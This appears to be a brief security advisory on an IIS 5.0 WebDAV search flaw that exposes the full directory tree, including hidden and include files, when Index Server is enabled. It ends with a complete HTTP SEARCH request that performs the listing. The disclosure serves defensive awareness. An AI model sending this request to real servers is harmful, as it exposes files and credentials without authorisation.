source: http://www.securityfocus.com/bid/1756/info

If Index Server is enabled in Microsoft Internet Information Server 5.0, it is possible for a remote user to view the entire root directory structure and all sub-directories due to a flaw in the Web Distributed Authoring and Versioning (WebDAV) search implementation. Hidden directories, include files (*.inc), or other documents that would not normally be accessible through the regular website interface can be exposed through this exploit.

Successful exploitation could lead to the discovery of certain files that may contain sensitive information such as usernames and passwords.

The Index Server is disabled by default in IIS 5.0 and only directories that have the 'Index' property set are affected by this vulnerability. 

SEARCH / HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>